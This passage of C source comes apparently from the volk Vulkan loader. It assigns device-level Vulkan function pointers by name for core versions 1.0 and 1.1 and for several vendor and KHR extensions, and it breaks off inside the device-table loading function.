vkDestroyImage = (PFN_vkDestroyImage)load(context, "vkDestroyImage");
vkDestroyImageView = (PFN_vkDestroyImageView)load(context, "vkDestroyImageView");
vkDestroyPipeline = (PFN_vkDestroyPipeline)load(context, "vkDestroyPipeline");
vkDestroyPipelineCache = (PFN_vkDestroyPipelineCache)load(context, "vkDestroyPipelineCache");
vkDestroyPipelineLayout = (PFN_vkDestroyPipelineLayout)load(context, "vkDestroyPipelineLayout");
vkDestroyQueryPool = (PFN_vkDestroyQueryPool)load(context, "vkDestroyQueryPool");
vkDestroyRenderPass = (PFN_vkDestroyRenderPass)load(context, "vkDestroyRenderPass");
vkDestroySampler = (PFN_vkDestroySampler)load(context, "vkDestroySampler");
vkDestroySemaphore = (PFN_vkDestroySemaphore)load(context, "vkDestroySemaphore");
vkDestroyShaderModule = (PFN_vkDestroyShaderModule)load(context, "vkDestroyShaderModule");
vkDeviceWaitIdle = (PFN_vkDeviceWaitIdle)load(context, "vkDeviceWaitIdle");
vkEndCommandBuffer = (PFN_vkEndCommandBuffer)load(context, "vkEndCommandBuffer");
vkFlushMappedMemoryRanges = (PFN_vkFlushMappedMemoryRanges)load(context, "vkFlushMappedMemoryRanges");
vkFreeCommandBuffers = (PFN_vkFreeCommandBuffers)load(context, "vkFreeCommandBuffers");
vkFreeDescriptorSets = (PFN_vkFreeDescriptorSets)load(context, "vkFreeDescriptorSets");
vkFreeMemory = (PFN_vkFreeMemory)load(context, "vkFreeMemory");
vkGetBufferMemoryRequirements = (PFN_vkGetBufferMemoryRequirements)load(context, "vkGetBufferMemoryRequirements");
vkGetDeviceMemoryCommitment = (PFN_vkGetDeviceMemoryCommitment)load(context, "vkGetDeviceMemoryCommitment");
vkGetDeviceQueue = (PFN_vkGetDeviceQueue)load(context, "vkGetDeviceQueue");
vkGetEventStatus = (PFN_vkGetEventStatus)load(context, "vkGetEventStatus");
vkGetFenceStatus = (PFN_vkGetFenceStatus)load(context, "vkGetFenceStatus");
vkGetImageMemoryRequirements = (PFN_vkGetImageMemoryRequirements)load(context, "vkGetImageMemoryRequirements");
vkGetImageSparseMemoryRequirements = (PFN_vkGetImageSparseMemoryRequirements)load(context, "vkGetImageSparseMemoryRequirements");
vkGetImageSubresourceLayout = (PFN_vkGetImageSubresourceLayout)load(context, "vkGetImageSubresourceLayout");
vkGetPipelineCacheData = (PFN_vkGetPipelineCacheData)load(context, "vkGetPipelineCacheData");
vkGetQueryPoolResults = (PFN_vkGetQueryPoolResults)load(context, "vkGetQueryPoolResults");
vkGetRenderAreaGranularity = (PFN_vkGetRenderAreaGranularity)load(context, "vkGetRenderAreaGranularity");
vkInvalidateMappedMemoryRanges = (PFN_vkInvalidateMappedMemoryRanges)load(context, "vkInvalidateMappedMemoryRanges");
vkMapMemory = (PFN_vkMapMemory)load(context, "vkMapMemory");
vkMergePipelineCaches = (PFN_vkMergePipelineCaches)load(context, "vkMergePipelineCaches");
vkQueueBindSparse = (PFN_vkQueueBindSparse)load(context, "vkQueueBindSparse");
vkQueueSubmit = (PFN_vkQueueSubmit)load(context, "vkQueueSubmit");
vkQueueWaitIdle = (PFN_vkQueueWaitIdle)load(context, "vkQueueWaitIdle");
vkResetCommandBuffer = (PFN_vkResetCommandBuffer)load(context, "vkResetCommandBuffer");
vkResetCommandPool = (PFN_vkResetCommandPool)load(context, "vkResetCommandPool");
vkResetDescriptorPool = (PFN_vkResetDescriptorPool)load(context, "vkResetDescriptorPool");
vkResetEvent = (PFN_vkResetEvent)load(context, "vkResetEvent");
vkResetFences = (PFN_vkResetFences)load(context, "vkResetFences");
vkSetEvent = (PFN_vkSetEvent)load(context, "vkSetEvent");
vkUnmapMemory = (PFN_vkUnmapMemory)load(context, "vkUnmapMemory");
vkUpdateDescriptorSets = (PFN_vkUpdateDescriptorSets)load(context, "vkUpdateDescriptorSets");
vkWaitForFences = (PFN_vkWaitForFences)load(context, "vkWaitForFences");
#endif /* defined(VK_VERSION_1_0) */
#if defined(VK_VERSION_1_1)
vkBindBufferMemory2 = (PFN_vkBindBufferMemory2)load(context, "vkBindBufferMemory2");
vkBindImageMemory2 = (PFN_vkBindImageMemory2)load(context, "vkBindImageMemory2");
vkCmdDispatchBase = (PFN_vkCmdDispatchBase)load(context, "vkCmdDispatchBase");
vkCmdSetDeviceMask = (PFN_vkCmdSetDeviceMask)load(context, "vkCmdSetDeviceMask");
vkCreateDescriptorUpdateTemplate = (PFN_vkCreateDescriptorUpdateTemplate)load(context, "vkCreateDescriptorUpdateTemplate");
vkCreateSamplerYcbcrConversion = (PFN_vkCreateSamplerYcbcrConversion)load(context, "vkCreateSamplerYcbcrConversion");
vkDestroyDescriptorUpdateTemplate = (PFN_vkDestroyDescriptorUpdateTemplate)load(context, "vkDestroyDescriptorUpdateTemplate");
vkDestroySamplerYcbcrConversion = (PFN_vkDestroySamplerYcbcrConversion)load(context, "vkDestroySamplerYcbcrConversion");
vkGetBufferMemoryRequirements2 = (PFN_vkGetBufferMemoryRequirements2)load(context, "vkGetBufferMemoryRequirements2");
vkGetDescriptorSetLayoutSupport = (PFN_vkGetDescriptorSetLayoutSupport)load(context, "vkGetDescriptorSetLayoutSupport");
vkGetDeviceGroupPeerMemoryFeatures = (PFN_vkGetDeviceGroupPeerMemoryFeatures)load(context, "vkGetDeviceGroupPeerMemoryFeatures");
vkGetDeviceQueue2 = (PFN_vkGetDeviceQueue2)load(context, "vkGetDeviceQueue2");
vkGetImageMemoryRequirements2 = (PFN_vkGetImageMemoryRequirements2)load(context, "vkGetImageMemoryRequirements2");
vkGetImageSparseMemoryRequirements2 = (PFN_vkGetImageSparseMemoryRequirements2)load(context, "vkGetImageSparseMemoryRequirements2");
vkTrimCommandPool = (PFN_vkTrimCommandPool)load(context, "vkTrimCommandPool");
vkUpdateDescriptorSetWithTemplate = (PFN_vkUpdateDescriptorSetWithTemplate)load(context, "vkUpdateDescriptorSetWithTemplate");
#endif /* defined(VK_VERSION_1_1) */
#if defined(VK_AMD_buffer_marker)
vkCmdWriteBufferMarkerAMD = (PFN_vkCmdWriteBufferMarkerAMD)load(context, "vkCmdWriteBufferMarkerAMD");
#endif /* defined(VK_AMD_buffer_marker) */
#if defined(VK_AMD_draw_indirect_count)
vkCmdDrawIndexedIndirectCountAMD = (PFN_vkCmdDrawIndexedIndirectCountAMD)load(context, "vkCmdDrawIndexedIndirectCountAMD");
vkCmdDrawIndirectCountAMD = (PFN_vkCmdDrawIndirectCountAMD)load(context, "vkCmdDrawIndirectCountAMD");
#endif /* defined(VK_AMD_draw_indirect_count) */
#if defined(VK_AMD_shader_info)
vkGetShaderInfoAMD = (PFN_vkGetShaderInfoAMD)load(context, "vkGetShaderInfoAMD");
#endif /* defined(VK_AMD_shader_info) */
#if defined(VK_ANDROID_external_memory_android_hardware_buffer)
vkGetAndroidHardwareBufferPropertiesANDROID = (PFN_vkGetAndroidHardwareBufferPropertiesANDROID)load(context, "vkGetAndroidHardwareBufferPropertiesANDROID");
vkGetMemoryAndroidHardwareBufferANDROID = (PFN_vkGetMemoryAndroidHardwareBufferANDROID)load(context, "vkGetMemoryAndroidHardwareBufferANDROID");
#endif /* defined(VK_ANDROID_external_memory_android_hardware_buffer) */
#if defined(VK_ANDROID_native_buffer)
vkAcquireImageANDROID = (PFN_vkAcquireImageANDROID)load(context, "vkAcquireImageANDROID");
vkGetSwapchainGrallocUsageANDROID = (PFN_vkGetSwapchainGrallocUsageANDROID)load(context, "vkGetSwapchainGrallocUsageANDROID");
vkQueueSignalReleaseImageANDROID = (PFN_vkQueueSignalReleaseImageANDROID)load(context, "vkQueueSignalReleaseImageANDROID");
#endif /* defined(VK_ANDROID_native_buffer) */
#if defined(VK_EXT_debug_marker)
vkCmdDebugMarkerBeginEXT = (PFN_vkCmdDebugMarkerBeginEXT)load(context, "vkCmdDebugMarkerBeginEXT");
vkCmdDebugMarkerEndEXT = (PFN_vkCmdDebugMarkerEndEXT)load(context, "vkCmdDebugMarkerEndEXT");
vkCmdDebugMarkerInsertEXT = (PFN_vkCmdDebugMarkerInsertEXT)load(context, "vkCmdDebugMarkerInsertEXT");
vkDebugMarkerSetObjectNameEXT = (PFN_vkDebugMarkerSetObjectNameEXT)load(context, "vkDebugMarkerSetObjectNameEXT");
vkDebugMarkerSetObjectTagEXT = (PFN_vkDebugMarkerSetObjectTagEXT)load(context, "vkDebugMarkerSetObjectTagEXT");
#endif /* defined(VK_EXT_debug_marker) */
#if defined(VK_EXT_debug_utils)
vkCmdBeginDebugUtilsLabelEXT = (PFN_vkCmdBeginDebugUtilsLabelEXT)load(context, "vkCmdBeginDebugUtilsLabelEXT");
vkCmdEndDebugUtilsLabelEXT = (PFN_vkCmdEndDebugUtilsLabelEXT)load(context, "vkCmdEndDebugUtilsLabelEXT");
vkCmdInsertDebugUtilsLabelEXT = (PFN_vkCmdInsertDebugUtilsLabelEXT)load(context, "vkCmdInsertDebugUtilsLabelEXT");
vkQueueBeginDebugUtilsLabelEXT = (PFN_vkQueueBeginDebugUtilsLabelEXT)load(context, "vkQueueBeginDebugUtilsLabelEXT");
vkQueueEndDebugUtilsLabelEXT = (PFN_vkQueueEndDebugUtilsLabelEXT)load(context, "vkQueueEndDebugUtilsLabelEXT");
vkQueueInsertDebugUtilsLabelEXT = (PFN_vkQueueInsertDebugUtilsLabelEXT)load(context, "vkQueueInsertDebugUtilsLabelEXT");
vkSetDebugUtilsObjectNameEXT = (PFN_vkSetDebugUtilsObjectNameEXT)load(context, "vkSetDebugUtilsObjectNameEXT");
vkSetDebugUtilsObjectTagEXT = (PFN_vkSetDebugUtilsObjectTagEXT)load(context, "vkSetDebugUtilsObjectTagEXT");
#endif /* defined(VK_EXT_debug_utils) */
#if defined(VK_EXT_discard_rectangles)
vkCmdSetDiscardRectangleEXT = (PFN_vkCmdSetDiscardRectangleEXT)load(context, "vkCmdSetDiscardRectangleEXT");
#endif /* defined(VK_EXT_discard_rectangles) */
#if defined(VK_EXT_display_control)
vkDisplayPowerControlEXT = (PFN_vkDisplayPowerControlEXT)load(context, "vkDisplayPowerControlEXT");
vkGetSwapchainCounterEXT = (PFN_vkGetSwapchainCounterEXT)load(context, "vkGetSwapchainCounterEXT");
vkRegisterDeviceEventEXT = (PFN_vkRegisterDeviceEventEXT)load(context, "vkRegisterDeviceEventEXT");
vkRegisterDisplayEventEXT = (PFN_vkRegisterDisplayEventEXT)load(context, "vkRegisterDisplayEventEXT");
#endif /* defined(VK_EXT_display_control) */
#if defined(VK_EXT_external_memory_host)
vkGetMemoryHostPointerPropertiesEXT = (PFN_vkGetMemoryHostPointerPropertiesEXT)load(context, "vkGetMemoryHostPointerPropertiesEXT");
#endif /* defined(VK_EXT_external_memory_host) */
#if defined(VK_EXT_hdr_metadata)
vkSetHdrMetadataEXT = (PFN_vkSetHdrMetadataEXT)load(context, "vkSetHdrMetadataEXT");
#endif /* defined(VK_EXT_hdr_metadata) */
#if defined(VK_EXT_sample_locations)
vkCmdSetSampleLocationsEXT = (PFN_vkCmdSetSampleLocationsEXT)load(context, "vkCmdSetSampleLocationsEXT");
#endif /* defined(VK_EXT_sample_locations) */
#if defined(VK_EXT_validation_cache)
vkCreateValidationCacheEXT = (PFN_vkCreateValidationCacheEXT)load(context, "vkCreateValidationCacheEXT");
vkDestroyValidationCacheEXT = (PFN_vkDestroyValidationCacheEXT)load(context, "vkDestroyValidationCacheEXT");
vkGetValidationCacheDataEXT = (PFN_vkGetValidationCacheDataEXT)load(context, "vkGetValidationCacheDataEXT");
vkMergeValidationCachesEXT = (PFN_vkMergeValidationCachesEXT)load(context, "vkMergeValidationCachesEXT");
#endif /* defined(VK_EXT_validation_cache) */
#if defined(VK_GOOGLE_display_timing)
vkGetPastPresentationTimingGOOGLE = (PFN_vkGetPastPresentationTimingGOOGLE)load(context, "vkGetPastPresentationTimingGOOGLE");
vkGetRefreshCycleDurationGOOGLE = (PFN_vkGetRefreshCycleDurationGOOGLE)load(context, "vkGetRefreshCycleDurationGOOGLE");
#endif /* defined(VK_GOOGLE_display_timing) */
#if defined(VK_KHR_bind_memory2)
vkBindBufferMemory2KHR = (PFN_vkBindBufferMemory2KHR)load(context, "vkBindBufferMemory2KHR");
vkBindImageMemory2KHR = (PFN_vkBindImageMemory2KHR)load(context, "vkBindImageMemory2KHR");
#endif /* defined(VK_KHR_bind_memory2) */
#if defined(VK_KHR_descriptor_update_template)
vkCreateDescriptorUpdateTemplateKHR = (PFN_vkCreateDescriptorUpdateTemplateKHR)load(context, "vkCreateDescriptorUpdateTemplateKHR");
vkDestroyDescriptorUpdateTemplateKHR = (PFN_vkDestroyDescriptorUpdateTemplateKHR)load(context, "vkDestroyDescriptorUpdateTemplateKHR");
vkUpdateDescriptorSetWithTemplateKHR = (PFN_vkUpdateDescriptorSetWithTemplateKHR)load(context, "vkUpdateDescriptorSetWithTemplateKHR");
#endif /* defined(VK_KHR_descriptor_update_template) */
#if defined(VK_KHR_device_group)
vkCmdDispatchBaseKHR = (PFN_vkCmdDispatchBaseKHR)load(context, "vkCmdDispatchBaseKHR");
vkCmdSetDeviceMaskKHR = (PFN_vkCmdSetDeviceMaskKHR)load(context, "vkCmdSetDeviceMaskKHR");
vkGetDeviceGroupPeerMemoryFeaturesKHR = (PFN_vkGetDeviceGroupPeerMemoryFeaturesKHR)load(context, "vkGetDeviceGroupPeerMemoryFeaturesKHR");
#endif /* defined(VK_KHR_device_group) */
#if defined(VK_KHR_display_swapchain)
vkCreateSharedSwapchainsKHR = (PFN_vkCreateSharedSwapchainsKHR)load(context, "vkCreateSharedSwapchainsKHR");
#endif /* defined(VK_KHR_display_swapchain) */
#if defined(VK_KHR_draw_indirect_count)
vkCmdDrawIndexedIndirectCountKHR = (PFN_vkCmdDrawIndexedIndirectCountKHR)load(context, "vkCmdDrawIndexedIndirectCountKHR");
vkCmdDrawIndirectCountKHR = (PFN_vkCmdDrawIndirectCountKHR)load(context, "vkCmdDrawIndirectCountKHR");
#endif /* defined(VK_KHR_draw_indirect_count) */
#if defined(VK_KHR_external_fence_fd)
vkGetFenceFdKHR = (PFN_vkGetFenceFdKHR)load(context, "vkGetFenceFdKHR");
vkImportFenceFdKHR = (PFN_vkImportFenceFdKHR)load(context, "vkImportFenceFdKHR");
#endif /* defined(VK_KHR_external_fence_fd) */
#if defined(VK_KHR_external_fence_win32)
vkGetFenceWin32HandleKHR = (PFN_vkGetFenceWin32HandleKHR)load(context, "vkGetFenceWin32HandleKHR");
vkImportFenceWin32HandleKHR = (PFN_vkImportFenceWin32HandleKHR)load(context, "vkImportFenceWin32HandleKHR");
#endif /* defined(VK_KHR_external_fence_win32) */
#if defined(VK_KHR_external_memory_fd)
vkGetMemoryFdKHR = (PFN_vkGetMemoryFdKHR)load(context, "vkGetMemoryFdKHR");
vkGetMemoryFdPropertiesKHR = (PFN_vkGetMemoryFdPropertiesKHR)load(context, "vkGetMemoryFdPropertiesKHR");
#endif /* defined(VK_KHR_external_memory_fd) */
#if defined(VK_KHR_external_memory_win32)
vkGetMemoryWin32HandleKHR = (PFN_vkGetMemoryWin32HandleKHR)load(context, "vkGetMemoryWin32HandleKHR");
vkGetMemoryWin32HandlePropertiesKHR = (PFN_vkGetMemoryWin32HandlePropertiesKHR)load(context, "vkGetMemoryWin32HandlePropertiesKHR");
#endif /* defined(VK_KHR_external_memory_win32) */
#if defined(VK_KHR_external_semaphore_fd)
vkGetSemaphoreFdKHR = (PFN_vkGetSemaphoreFdKHR)load(context, "vkGetSemaphoreFdKHR");
vkImportSemaphoreFdKHR = (PFN_vkImportSemaphoreFdKHR)load(context, "vkImportSemaphoreFdKHR");
#endif /* defined(VK_KHR_external_semaphore_fd) */
#if defined(VK_KHR_external_semaphore_win32)
vkGetSemaphoreWin32HandleKHR = (PFN_vkGetSemaphoreWin32HandleKHR)load(context, "vkGetSemaphoreWin32HandleKHR");
vkImportSemaphoreWin32HandleKHR = (PFN_vkImportSemaphoreWin32HandleKHR)load(context, "vkImportSemaphoreWin32HandleKHR");
#endif /* defined(VK_KHR_external_semaphore_win32) */
#if defined(VK_KHR_get_memory_requirements2)
vkGetBufferMemoryRequirements2KHR = (PFN_vkGetBufferMemoryRequirements2KHR)load(context, "vkGetBufferMemoryRequirements2KHR");
vkGetImageMemoryRequirements2KHR = (PFN_vkGetImageMemoryRequirements2KHR)load(context, "vkGetImageMemoryRequirements2KHR");
vkGetImageSparseMemoryRequirements2KHR = (PFN_vkGetImageSparseMemoryRequirements2KHR)load(context, "vkGetImageSparseMemoryRequirements2KHR");
#endif /* defined(VK_KHR_get_memory_requirements2) */
#if defined(VK_KHR_maintenance1)
vkTrimCommandPoolKHR = (PFN_vkTrimCommandPoolKHR)load(context, "vkTrimCommandPoolKHR");
#endif /* defined(VK_KHR_maintenance1) */
#if defined(VK_KHR_maintenance3)
vkGetDescriptorSetLayoutSupportKHR = (PFN_vkGetDescriptorSetLayoutSupportKHR)load(context, "vkGetDescriptorSetLayoutSupportKHR");
#endif /* defined(VK_KHR_maintenance3) */
#if defined(VK_KHR_push_descriptor)
vkCmdPushDescriptorSetKHR = (PFN_vkCmdPushDescriptorSetKHR)load(context, "vkCmdPushDescriptorSetKHR");
#endif /* defined(VK_KHR_push_descriptor) */
#if defined(VK_KHR_sampler_ycbcr_conversion)
vkCreateSamplerYcbcrConversionKHR = (PFN_vkCreateSamplerYcbcrConversionKHR)load(context, "vkCreateSamplerYcbcrConversionKHR");
vkDestroySamplerYcbcrConversionKHR = (PFN_vkDestroySamplerYcbcrConversionKHR)load(context, "vkDestroySamplerYcbcrConversionKHR");
#endif /* defined(VK_KHR_sampler_ycbcr_conversion) */
#if defined(VK_KHR_shared_presentable_image)
vkGetSwapchainStatusKHR = (PFN_vkGetSwapchainStatusKHR)load(context, "vkGetSwapchainStatusKHR");
#endif /* defined(VK_KHR_shared_presentable_image) */
#if defined(VK_KHR_swapchain)
vkAcquireNextImageKHR = (PFN_vkAcquireNextImageKHR)load(context, "vkAcquireNextImageKHR");
vkCreateSwapchainKHR = (PFN_vkCreateSwapchainKHR)load(context, "vkCreateSwapchainKHR");
vkDestroySwapchainKHR = (PFN_vkDestroySwapchainKHR)load(context, "vkDestroySwapchainKHR");
vkGetSwapchainImagesKHR = (PFN_vkGetSwapchainImagesKHR)load(context, "vkGetSwapchainImagesKHR");
vkQueuePresentKHR = (PFN_vkQueuePresentKHR)load(context, "vkQueuePresentKHR");
#endif /* defined(VK_KHR_swapchain) */
#if defined(VK_NVX_device_generated_commands)
vkCmdProcessCommandsNVX = (PFN_vkCmdProcessCommandsNVX)load(context, "vkCmdProcessCommandsNVX");
vkCmdReserveSpaceForCommandsNVX = (PFN_vkCmdReserveSpaceForCommandsNVX)load(context, "vkCmdReserveSpaceForCommandsNVX");
vkCreateIndirectCommandsLayoutNVX = (PFN_vkCreateIndirectCommandsLayoutNVX)load(context, "vkCreateIndirectCommandsLayoutNVX");
vkCreateObjectTableNVX = (PFN_vkCreateObjectTableNVX)load(context, "vkCreateObjectTableNVX");
vkDestroyIndirectCommandsLayoutNVX = (PFN_vkDestroyIndirectCommandsLayoutNVX)load(context, "vkDestroyIndirectCommandsLayoutNVX");
vkDestroyObjectTableNVX = (PFN_vkDestroyObjectTableNVX)load(context, "vkDestroyObjectTableNVX");
vkRegisterObjectsNVX = (PFN_vkRegisterObjectsNVX)load(context, "vkRegisterObjectsNVX");
vkUnregisterObjectsNVX = (PFN_vkUnregisterObjectsNVX)load(context, "vkUnregisterObjectsNVX");
#endif /* defined(VK_NVX_device_generated_commands) */
#if defined(VK_NV_clip_space_w_scaling)
vkCmdSetViewportWScalingNV = (PFN_vkCmdSetViewportWScalingNV)load(context, "vkCmdSetViewportWScalingNV");
#endif /* defined(VK_NV_clip_space_w_scaling) */
#if defined(VK_NV_external_memory_win32)
vkGetMemoryWin32HandleNV = (PFN_vkGetMemoryWin32HandleNV)load(context, "vkGetMemoryWin32HandleNV");
#endif /* defined(VK_NV_external_memory_win32) */
#if (defined(VK_KHR_descriptor_update_template) && defined(VK_KHR_push_descriptor)) || (defined(VK_KHR_push_descriptor) && defined(VK_VERSION_1_1))
vkCmdPushDescriptorSetWithTemplateKHR = (PFN_vkCmdPushDescriptorSetWithTemplateKHR)load(context, "vkCmdPushDescriptorSetWithTemplateKHR");
#endif /* (defined(VK_KHR_descriptor_update_template) && defined(VK_KHR_push_descriptor)) || (defined(VK_KHR_push_descriptor) && defined(VK_VERSION_1_1)) */
#if (defined(VK_KHR_device_group) && defined(VK_KHR_surface)) || (defined(VK_KHR_swapchain) && defined(VK_VERSION_1_1))
vkGetDeviceGroupPresentCapabilitiesKHR = (PFN_vkGetDeviceGroupPresentCapabilitiesKHR)load(context, "vkGetDeviceGroupPresentCapabilitiesKHR");
vkGetDeviceGroupSurfacePresentModesKHR = (PFN_vkGetDeviceGroupSurfacePresentModesKHR)load(context, "vkGetDeviceGroupSurfacePresentModesKHR");
#endif /* (defined(VK_KHR_device_group) && defined(VK_KHR_surface)) || (defined(VK_KHR_swapchain) && defined(VK_VERSION_1_1)) */
#if (defined(VK_KHR_device_group) && defined(VK_KHR_swapchain)) || (defined(VK_KHR_swapchain) && defined(VK_VERSION_1_1))
vkAcquireNextImage2KHR = (PFN_vkAcquireNextImage2KHR)load(context, "vkAcquireNextImage2KHR");
#endif /* (defined(VK_KHR_device_group) && defined(VK_KHR_swapchain)) || (defined(VK_KHR_swapchain) && defined(VK_VERSION_1_1)) */
/* VOLK_GENERATE_LOAD_DEVICE */
}
static void volkGenLoadDeviceTable(struct VolkDeviceTable* table, void* context, PFN_vkVoidFunction (*load)(void*, const char*))
{
/* VOLK_GENERATE_LOAD_DEVICE_TABLE */
#if defined(VK_VERSION_1_0)
table->vkAllocateCommandBuffers = (PFN_vkAllocateCommandBuffers)load(context, "vkAllocateCommandBuffers");
table->vkAllocateDescriptorSets = (PFN_vkAllocateDescriptorSets)load(context, "vkAllocateDescriptorSets");
table->vkAllocateMemory = (PFN_vkAllocateMemory)load(context, "vkAllocateMemory");
table->vkBeginCommandBuffer = (PFN_vkBeginCommandBuffer)load(context, "vkBeginCommandBuffer");
table->vkBindBufferMemory = (PFN_vkBindBufferMemory)load(context, "vkBindBufferMemory");
table->vkBindImageMemory = (PFN_vkBindImageMemory)load(context, "vkBindImageMemory");
table->vkCmdBeginQuery = (PFN_vkCmdBeginQuery)load(context, "vkCmdBeginQuery");
table->vkCmdBeginRenderPass = (PFN_vkCmdBeginRenderPass)load(context, "vkCmdBeginRenderPass");
table->vkCmdBindDescriptorSets = (PFN_vkCmdBindDescriptorSets)load(context, "vkCmdBindDescriptorSets");
table->vkCmdBindIndexBuffer = (PFN_vkCmdBindIndexBuffer)load(context, "vkCmdBindIndexBuffer");
table->vkCmdBindPipeline = (PFN_vkCmdBindPipeline)load(context, "vkCmdBindPipeline");
table->vkCmdBindVertexBuffers = (PFN_vkCmdBindVertexBuffers)load(context, "vkCmdBindVertexBuffers");
table->vkCmdBlitImage = (PFN_vkCmdBlitImage)load(context, "vkCmdBlitImage");
table->vkCmdClearAttachments = (PFN_vkCmdClearAttachments)load(context, "vkCmdClearAttachments");
table->vkCmdClearColorImage = (PFN_vkCmdClearColorImage)load(context, "vkCmdClearColorImage");
table->vkCmdClearDepthStencilImage = (PFN_vkCmdClearDepthStencilImage)load(context, "vkCmdClearDepthStencilImage");
table->vkCmdCopyBuffer = (PFN_vkCmdCopyBuffer)load(context, "vkCmdCopyBuffer");
table->vkCmdCopyBufferToImage = (PFN_vkCmdCopyBufferToImage)load(context, "vkCmdCopyBufferToImage");
table->vkCmdCopyImage = (PFN_vkCmdCopyImage)load(context, "vkCmdCopyImage");
table->vkCmdCopyImageToBuffer = (PFN_vkCmdCopyImageToBuffer)load(context, "vkCmdCopyImageToBuffer");
table->vkCmdCopyQueryPoolResults = (PFN_vkCmdCopyQueryPoolResults)load(context, "vkCmdCopyQueryPoolResults");
table->vkCmdDispatch = (PFN_vkCmdDispatch)load(context, "vkCmdDispatch");
table->vkCmdDispatchIndirect = (PFN_vkCmdDispatchIndirect)load(context, "vkCmdDispatchIndirect");
table->vkCmdDraw = (PFN_vkCmdDraw)load(context, "vkCmdDraw");
table->vkCmdDrawIndexed = (PFN_vkCmdDrawIndexed)load(context, "vkCmdDrawIndexed");
table->vkCmdDrawIndexedIndirect = (PFN_vkCmdDrawIndexedIndirect)load(context, "vkCmdDrawIndexedIndirect");
table->vkCmdDrawIndirect = (PFN_vkCmdDrawIndirect)load(context, "vkCmdDrawIndirect");
table->vkCmdEndQuery = (PFN_vkCmdEndQuery)load(context, "vkCmdEndQuery");
table->vkCmdEndRenderPass = (PFN_vkCmdEndRenderPass)load(context, "vkCmdEndRenderPass");
table->vkCmdExecuteCommands = (PFN_vkCmdExecuteCommands)load(context, "vkCmdExecuteCommands");
table->vkCmdFillBuffer = (PFN_vkCmdFillBuffer)load(context, "vkCmdFillBuffer");
table->vkCmdNextSubpass = (PFN_vkCmdNextSubpass)load(context, "vkCmdNextSubpass");
table->vkCmdPipelineBarrier = (PFN_vkCmdPipelineBarrier)load(context, "vkCmdPipelineBarrier");
table->vkCmdPushConstants = (PFN_vkCmdPushConstants)load(context, "vkCmdPushConstants");
table->vkCmdResetEvent = (PFN_vkCmdResetEvent)load(context, "vkCmdResetEvent");
table->vkCmdResetQueryPool = (PFN_vkCmdResetQueryPool)load(context, "vkCmdResetQueryPool");
table->vkCmdResolveImage = (PFN_vkCmdResolveImage)load(context, "vkCmdResolveImage");
table->vkCmdSetBlendConstants = (PFN_vkCmdSetBlendConstants)load(context, "vkCmdSetBlendConstants");
table->vkCmdSetDepthBias = (PFN_vkCmdSetDepthBias)load(context, "vkCmdSetDepthBias");
table->vkCmdSetDepthBounds = (PFN_vkCmdSetDepthBounds)load(context, "vkCmdSetDepthBounds");
table->vkCmdSetEvent = (PFN_vkCmdSetEvent)load(context, "vkCmdSetEvent");
table->vkCmdSetLineWidth = (PFN_vkCmdSetLineWidth)load(context, "vkCmdSetLineWidth");
table->vkCmdSetScissor = (PFN_vkCmdSetScissor)load(context, "vkCmdSetScissor");
table->vkCmdSetStencilCompareMask = (PFN_vkCmdSetStencilCompareMask)load(context, "vkCmdSetStencilCompareMask");
table->vkCmdSetStencilReference = (PFN_vkCmdSetStencilReference)load(context, "vkCmdSetStencilReference");
table->vkCmdSetStencilWriteMask = (PFN_vkCmdSetStencilWriteMask)load(context, "vkCmdSetStencilWriteMask");
table->vkCmdSetViewport = (PFN_vkCmdSetViewport)load(context, "vkCmdSetViewport");
table->vkCmdUpdateBuffer = (PFN_vkCmdUpdateBuffer)load(context, "vkCmdUpdateBuffer");
table->vkCmdWaitEvents = (PFN_vkCmdWaitEvents)load(context, "vkCmdWaitEvents");
table->vkCmdWriteTimestamp = (PFN_vkCmdWriteTimestamp)load(context, "vkCmdWriteTimestamp");
table->vkCreateBuffer = (PFN_vkCreateBuffer)load(context, "vkCreateBuffer");
table->vkCreateBufferView = (PFN_vkCreateBufferView)load(context, "vkCreateBufferView");
table->vkCreateCommandPool = (PFN_vkCreateCommandPool)load(context, "vkCreateCommandPool");
table->vkCreateComputePipelines = (PFN_vkCreateComputePipelines)load(context, "vkCreateComputePipelines");
table->vkCreateDescriptorPool = (PFN_vkCreateDescriptorPool)load(context, "vkCreateDescriptorPool");
table->vkCreateDescriptorSetLayout = (PFN_vkCreateDescriptorSetLayout)load(context, "vkCreateDescriptorSetLayout");
table->vkCreateEvent = (PFN_vkCreateEvent)load(context, "vkCreateEvent");
table->vkCreateFence = (PFN_vkCreateFence)load(context, "vkCreateFence");
table->vkCreateFramebuffer = (PFN_vkCreateFramebuffer)load(context, "vkCreateFramebuffer");
table->vkCreateGraphicsPipelines = (PFN_vkCreateGraphicsPipelines)load(context, "vkCreateGraphicsPipelines");
table->vkCreateImage = (PFN_vkCreateImage)load(context, "vkCreateImage");
table->vkCreateImageView = (PFN_vkCreateImageView)load(context, "vkCreateImageView");
table->vkCreatePipelineCache = (PFN_vkCreatePipelineCache)load(context, "vkCreatePipelineCache");
table->vkCreatePipelineLayout = (PFN_vkCreatePipelineLayout)load(context, "vkCreatePipelineLayout");
table->vkCreateQueryPool = (PFN_vkCreateQueryPool)load(context, "vkCreateQueryPool");
table->vkCreateRenderPass = (PFN_vkCreateRenderPass)load(context, "vkCreateRenderPass");
table->vkCreateSampler = (PFN_vkCreateSampler)load(context, "vkCreateSampler");
table->vkCreateSemaphore = (PFN_vkCreateSemaphore)load(context, "vkCreateSemaphore");
table->vkCreateShaderModule = (PFN_vkCreateShaderModule)load(context, "vkCreateShaderModule");
table->vkDestroyBuffer = (PFN_vkDestroyBuffer)load(context, "vkDestroyBuffer");
table->vkDestroyBufferView = (PFN_vkDestroyBufferView)load(context, "vkDestroyBufferView");
table->vkDestroyCommandPool = (PFN_vkDestroyCommandPool)load(context, "vkDestroyCommandPool");
table->vkDestroyDescriptorPool = (PFN_vkDestroyDescriptorPool)load(context, "vkDestroyDescriptorPool");
table->vkDestroyDescriptorSetLayout = (PFN_vkDestroyDescriptorSetLayout)load(context, "vkDestroyDescriptorSetLayout");
table->vkDestroyDevice = (PFN_vkDestroyDevice)load(context, "vkDestroyDevice");
table->vkDestroyEvent = (PFN_vkDestroyEvent)load(context, "vkDestroyEvent");
table->vkDestroyFence = (PFN_vkDestroyFence)load(context, "vkDestroyFence");
table->vkDestroyFramebuffer = (PFN_vkDestroyFramebuffer)load(context, "vkDestroyFramebuffer");
table->vkDestroyImage = (PFN_vkDestroyImage)load(context, "vkDestroyImage");
table->vkDestroyImageView = (PFN_vkDestroyImageView)load(context, "vkDestroyImageView");
table->vkDestroyPipeline = (PFN_vkDestroyPipeline)load(context, "vkDestroyPipeline");
